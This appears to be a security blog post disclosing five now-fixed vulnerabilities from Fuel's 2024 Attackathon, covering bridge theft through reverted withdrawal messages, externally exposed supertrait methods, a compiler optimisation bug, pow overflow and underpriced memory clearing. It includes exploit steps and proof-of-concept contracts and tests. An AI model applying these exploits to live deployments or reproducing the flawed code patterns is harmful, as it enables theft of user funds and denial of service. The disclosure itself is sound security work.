Top 5 Bugs from the Fuel Attackathon

Top 5 Bugs from the Fuel Attackathon

From June 17th to July 22, 2024, Fuel protocol ran a month-long Attackathon on the Immunefi platform, welcoming top whitehat talents to find vulnerabilities within Fuel’s Layer 2 infrastructure. With a reward pool of up to $1 million USDC, participants were successful in uncovering interesting bugs with various severities.

These vulnerabilities are now FIXED, as of publication.

Here are the top five findings, as identified by Immunefi’s triagers, that showcased critical vulnerabilities and enhanced the security of the Fuel Network.

1.Messages to L1 included during reverts allows theft from bridge — Report 32965

Severity: Critical

Impact: Direct loss of funds

Asset: https://github.com/FuelLabs/fuel-core/tree/v0.31.0

The function executor/src/executor.rs::update_execution_data adds all message_ids from the MessageOut receipts of the current tx to the execution data even if the tx itself has reverted.

fn update_execution_data<Tx: Chargeable>(
        &self,
        tx: &Tx,
        execution_data: &mut ExecutionData,
        receipts: Vec<Receipt>,
        gas_price: Word,
        reverted: bool,
        state: ProgramState,
        tx_id: TxId,
    ) -> ExecutorResult<()> {
        let (used_gas, tx_fee) = self.total_fee_paid(tx, &receipts, gas_price)?;
        execution_data.coinbase = execution_data
            .coinbase
            .checked_add(tx_fee)
            .ok_or(ExecutorError::FeeOverflow)?;
        execution_data.used_gas = execution_data
            .used_gas
            .checked_add(used_gas)
            .ok_or(ExecutorError::GasOverflow)?;
        execution_data
            .message_ids
            .extend(receipts.iter().filter_map(|r| r.message_id()));
        let status = if reverted {
            TransactionExecutionResult::Failed {
                result: Some(state),
                receipts,
                total_gas: used_gas,
                total_fee: tx_fee,
            }
        } else {
            // else tx was a success
            TransactionExecutionResult::Success {
                result: Some(state),
                receipts,
                total_gas: used_gas,
                total_fee: tx_fee,
            }
        };

This means it’s possible to send out messages to the L1 but revert the tx, which un-does the burn of the bridged tokens. This fake withdrawal can be repeated over and over, with the messages still being relayed on the L1, potentially allowing the theft of all tokens from the bridge.

The exploit steps are as follows:

  1. The attacker and victim both deposit the same amount of the same token
  2. The attacker withdraws 2 times. For the first time, he reverts his transaction at the end, and the second time follows the regular flow. He can relay this twice, which will result in the attacker having double the amount of tokens he originally deposited.
  3. As the victim withdraws, the process on the L2 side will be successful and his tokens will be burned. The relay process on L1 will fail, due to underflow (no tokens left)

2.ABI Supertraits are available externally — Report 33351

Severity: Critical
Impact: Direct loss of funds

Asset: https://github.com/FuelLabs/sway/tree/v0.61.2

ABI supertraits are, as the docs say, intended to make contract implementations compositional. As such they allow defining methods that can be inherited by the contract implementing the trait. However, what is essential is that these methods shouldn’t be available externally as contract methods. However, this is not the case, and the methods are available externally.

As we can see in sway-core/src/language/ty/program.rs::validate_root, ABI supertraits should not expose their methods to the user.

pub fn validate_root(...) {

    ...

    // ABI entries are all functions declared in impl_traits on the contract type
    // itself, except for ABI supertraits, which do not expose their methods to
    // the user

    ...
}

The following example demonstrates how the renounce_ownership function is available externally when inheriting the Ownable traits. An attacker would have access to any supertraits of a contract.

// main.sw

contract;

mod ownable;
use ownable::*;

storage {
    owner: b256 = b256::zero(),
}

abi MyAbi : Ownable {
    #[storage(read, write)]
    fn init();

    #[storage(read)]
    fn owner() -> b256;
}

impl StorageHelpers for Contract {
    #[storage(read)]
    fn get_owner() -> b256 {
        storage.owner.read()
    }

    #[storage(write)]
    fn set_owner(owner: b256) {
        storage.owner.write(owner)
    }
}

impl Ownable for Contract { }

impl MyAbi for Contract {

    #[storage(read, write)]
    fn init() {
        Self::set_owner(ContractId::this().into());
    }

    #[storage(read)]
    fn owner() -> b256 {
        return Self::get_owner();

    }
}

abi Test {
    fn renounce_ownership();
}

#[test]
fn test() {
    let callerA = abi(MyAbi, CONTRACT_ID);

    callerA.init(); 

    assert(callerA.owner() == CONTRACT_ID);

    let callerB = abi(Test, CONTRACT_ID);

    callerB.renounce_ownership();  // ! Externally available

    assert(callerA.owner() != CONTRACT_ID);
    assert(callerA.owner() == b256::zero());
}
// ownable.sw

library;

pub struct OwnershipTransferred {
    previous_owner: b256,
    new_owner: b256,
}

pub trait StorageHelpers {
    #[storage(read)]
    fn get_owner() -> b256;

    #[storage(write)]
    fn set_owner(owner: b256);
}

pub trait Ownable : StorageHelpers {
} {

    #[storage(read)]
    fn owner() -> b256 {
        Self::get_owner()
    }

    #[storage(read)]
    fn only_owner() {
        assert(msg_sender().unwrap() == Identity::Address(Address::from(Self::get_owner())));
    }

    #[storage(write)]
    fn renounce_ownership() {
        Self::set_owner(b256::zero());
    }

    #[storage(read, write)]
    fn transfer_ownership(new_owner: b256) {
        assert(new_owner != b256::zero());
        let old_owner = Self::get_owner();
        Self::set_owner(new_owner);

        // log does not work here
        log(OwnershipTransferred {
            previous_owner: old_owner,
            new_owner: new_owner,
        })
    }
}

3.Sway compiler wrongly modeled register usage of WQAM instruction — Report 32269

Severity: High

Impact: Incorrect sway optimization leading to incorrect bytecode

Asset: https://github.com/FuelLabs/sway/tree/7b56ec734d4a4fda550313d448f7f20dba818b59

The sway/sway-core/src/asm_lang /virtual_ops.rs::def_registers function and sway/sway-core/src/asm_lang /virtual_ops.rs::use_registers function are used to define which registers in the argument will be written to or read from by the given instruction. This information is used in DCE optimization to decide which instructions only write to “dead” registers and could be removed.

DCE is an optimization pass most compilers make which eliminates dead code (code that does not affect the program results). This decreases program size and increases program efficiency by eliminating unused instructions. However, the Sway DCE optimization step incorrectly labeled instructions which had results which were used as dead code, which were then removed from the output bytecode of the compiler.

In the function sway/sway-core/src/asm_lang /virtual_ops.rs::use_registers, we can see that WQAM is incorrectly thought to modify r1 while not relying on its value, while the actual behavior of the WQAM instruction uses r1 as a memory pointer.

/// Returns a list of all registers *read* by instruction `self`.
pub(crate) fn use_registers(&self) -> BTreeSet<&VirtualRegister> {
    use VirtualOp::*;
    (match self {
        /* Arithmetic/Logic (ALU) Instructions */
        ...
        WQAM(_, r2, r3, r4) => vec![r2, r3, r4],
        ...
    })
    .into_iter()
    .collect()
}

4. Lack of Overflow Protection in pow Function for Unsigned Integers in standard libraries — Report 33227

Severity: Medium

Impact: Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Asset: https://github.com/FuelLabs/sway/blob/ebc2ee6bf5d488e0ff693bfc8680707d66cd5392/sway-lib-std/src/math.sw

The pow function implementations for the u8u16, and u32 types in the Sway standard math library lack overflow protection. Overflow for larger data types like u64 and u256 is handled by the Fuel Virtual Machine (VM), but the VM does not handle overflow for the smaller types (u8u16u32). Consequently, when the result of the pow function exceeds the maximum value of the data type, the result wraps around without raising any errors. This can lead to incorrect calculations on the integration side of the contracts.

As we can see the issue is in the following Power function implementation for the types u8u16, and u32 in the Sway standard library that it doesn’t handle the overflows.

impl Power for u32 {
    fn pow(self, exponent: u32) -> Self {
        asm(r1: self, r2: exponent, r3) {
            exp r3 r1 r2;
            r3: Self
        }
    }
}

impl Power for u16 {
    fn pow(self, exponent: u32) -> Self {
        asm(r1: self, r2: exponent, r3) {
            exp r3 r1 r2;
            r3: Self
        }
    }
}

impl Power for u8 {
    fn pow(self, exponent: u32) -> Self {
        asm(r1: self, r2: exponent, r3) {
            exp r3 r1 r2;
            r3: Self
        }
    }
}

Here’s the PoC that demonstrates the overflow vulnerability for the data types u8 and u32.

contract;

//Setup
use std::{
    asset::mint_to,
    constants::DEFAULT_SUB_ID
};

abi PowBug {
    fn demonstrate_bug_u8(recipient: Identity, a: u8) -> AssetId;
    fn demonstrate_bug_u32(a: u32) -> u32;
}

impl PowBug for Contract {
    fn demonstrate_bug_u8(recipient: Identity, a: u8) -> AssetId { 
        let result_u8 = a.pow(2);
        let coins_to_mint = result_u8.as_u64() * 100;

        if result_u8 > u8::max() {
            revert(1337);
        }

        mint_to(recipient, DEFAULT_SUB_ID, coins_to_mint); 
        AssetId::new(ContractId::this(), DEFAULT_SUB_ID) 
    }

    fn demonstrate_bug_u32(a: u32) -> u32 { 
        let coins_to_keep = a.pow(4);

        if coins_to_keep <= u32::max() {
            revert(1337)
        }

        coins_to_keep 
    }
}

The following test case demonstrates how the value of u8 and u32 exceeds the maximum limit of their respective types, resulting in an overflow and producing an incorrect, wrapped-around value.

#[tokio::test]
async fn pow_bug() {
    //Setup
    let (instance, _id) = get_contract_instance().await;

    println!("------------u8 pow function overflow----------------");
    let asset_id = instance.methods().demonstrate_bug_u8(Identity::Address(instance.account().address().into()), 20)
        .append_variable_outputs(1)
        .call()
        .await
        .unwrap()
        .value;
    
    let balance = instance.account().get_asset_balance(&asset_id).await.unwrap();
    println!("balance: {:#?}", balance); 

    println!("------------u32 pow function overflow----------------");
    let coins_to_keep = instance.methods().demonstrate_bug_u32(1000).call().await.unwrap().value;
    println!("coins_to_keep: {:#?}", coins_to_keep);
    
    let coins_before = instance.account().get_coins(AssetId::zeroed()).await.unwrap()[0].amount;
    println!("coins_before: {:#?}", coins_before); 

    instance.account().transfer(
        &Bech32Address::from_str("fuel1glsm9rc8ysh9yjt8ljkuatalvdad3rs3wpqjznd3p7daydw2gg6sftwvvr").unwrap(),
        coins_before - TryInto::<u64>::try_into(coins_to_keep).unwrap(), 
        AssetId::zeroed(),
        TxPolicies::default()
    ).await.unwrap();

    let coins_after = instance.account().get_coins(AssetId::zeroed()).await.unwrap()[0].amount;
    println!("coins after: {:#?}", coins_after);
}

5.Exploiting CCP Instruction for Low-Cost Memory Clearing via Code Copy with Zero-Fill — Report 32465

Severity: High

Impact: Modification of transaction fees outside of design parameters

Asset: https://github.com/FuelLabs/fuel-vm/blob/c21af9c8eazfff020ddf468b51d9bcb58a0bb2295/fuel-vm/src/interpreter/blockchain.rs#L887

The CCP (Code Copy) instruction copies code from a specified contract into memory, charging gas based on the contract’s total size rather than the actual number of bytes copied.

By manipulating the offset and length parameters, users can trigger a scenario where the function zero-fills large memory areas without incurring the appropriate costs, effectively performing a cheap memory clear operation.

This exploit allows users to perform expensive memory clearing operations at a significantly reduced gas cost. By underpaying for resource usage, it can lead to network resource exhaustion and potential denial-of-service attacks, compromising the stability and security of the system.

The code_copy function invoked by the CCP instruction loads the target contract’s bytecode, charges gas based on its length, and then copies data with zero-fill using a different length parameter. Here’s how it works:

pub(crate) fn code_copy(...) {
    // Charges gas based on the contract's length
    dependent_gas_charge_without_base(
        self.cgas,
        self.ggas,
        profiler,
        self.gas_cost,
        contract_len as u64, // <-- Charged based on this
    )?;

    // Copies data with zero-fill
    copy_from_slice_zero_fill(
        self.memory,
        self.owner,
        contract.as_ref().as_ref(),
        dst_addr,
        offset,
        length, // <-- Amount to copy; excess zero-filled
    )?;
}
view raw

The copy_from_slice_zero_fill function handles copying and zero-filling: By choosing a large offset that exceeds the length of the contract’s bytecode, the data slice becomes empty (unwrap_or_default() returns an empty slice). The copy_from_slice operation does nothing, and the entire memory range specified by len is filled with zeros:

pub(crate) fn copy_from_slice_zero_fill<A: ToAddr, B: ToAddr>(
    memory: &mut Memory,
    owner: H160,
    src: &[u8],
    dst_addr: A,
    src_offset: usize,
    len: usize,
) -> Result<(), Error> {
    let range = memory.write(owner, dst_addr, len)?;

    let src_end = src_offset.saturating_add(range.len()).min(src.len());
    let data = src.get(src_offset..src_end).unwrap_or_default();

    range[..data.len()].copy_from_slice(data);
    range[data.len()..].fill(0);
}

Users can clear large memory areas cheaply, bypassing the proper gas charges for memory operations.

Here’s the PoC test case demonstrates how the CCP instruction can be exploited to clear memory cheaply:


#[test]
fn use_ccp_to_memory_clear() {
    let mut test_context = TestBuilder::new(2322u64);
    let gas_limit = 10_000_000;

    let program = vec![
        op::ret(RegId::ZERO), // super short contract
    ];

    let contract_id = test_context.setup_contract(program, None, None).contract_id;

    let (script, _) = script_with_data_offset!(
        data_offset,
        vec![
            op::movi(0x10, data_offset as Immediate18), //pointer to address
            op::sub(0x11, RegId::HP, RegId::SP), //store size of unallocated memory in register 0x11
            op::subi(0x12, 0x11, 1), //pointer to last writeable byte
            op::movi(0x13, 0xff), //value to write
            op::cfe(0x11), //extend the stack to fill the whole memory
            op::log(RegId::CGAS, 0x00, 0x00, 0x00), //log remaining gas

            // following block uses mcl to clear memory:

            op::sb(0x12, 0x13, 0), //write to last writeable byte
            op::lb(0x14, 0x12, 0), //load the value back to check with log
            op::log(0x00, 0x00, 0x00, 0x14), //log the value
            op::mcl(RegId::SSP, 0x11), //clear whole area between SSP and SP
            op::lb(0x14, 0x12, 0), //load last writeable byte to check if it was cleared
            op::log(RegId::CGAS, 0x00, 0x00, 0x14), //log remaining gas and check that value was used

            // following block uses ccp to clear memory:

            op::sb(0x12, 0x13, 0), //repeat write to last writeable byte
            op::lb(0x14, 0x12, 0), //repeat load the value back to check with log
            op::log(0x00, 0x00, 0x00, 0x14), //log the value
            op::ccp(RegId::SSP, 0x10, 0x11, 0x11), //clear whole area between SSP and SP (dst, pointer to contractId, code offset, length)
            op::lb(0x14, 0x12, 0), //load last writeable byte to check if it was cleared
            op::log(RegId::CGAS, 0x00, 0x00, 0x14), //log remaining gas and check that value was used
            
            op::ret(RegId::ONE),
        ],
        test_context.get_tx_params().tx_offset()
    );

    let mut script_data = contract_id.to_vec();
    script_data.extend([0u8; WORD_SIZE * 2]);

    let result = test_context
        .start_script(script, script_data)
        .script_gas_limit(gas_limit)
        .contract_input(contract_id)
        .fee_input()
        .contract_output(&contract_id)
        .execute();

    let receipts = result.receipts();

    //print receipts
    for receipt in receipts.iter() {
        println!("{:?}", receipt);
    }
}

*Changes: Report #5 was misidentified as 33519, it was corrected to 32465. The gist will also be updated shortly.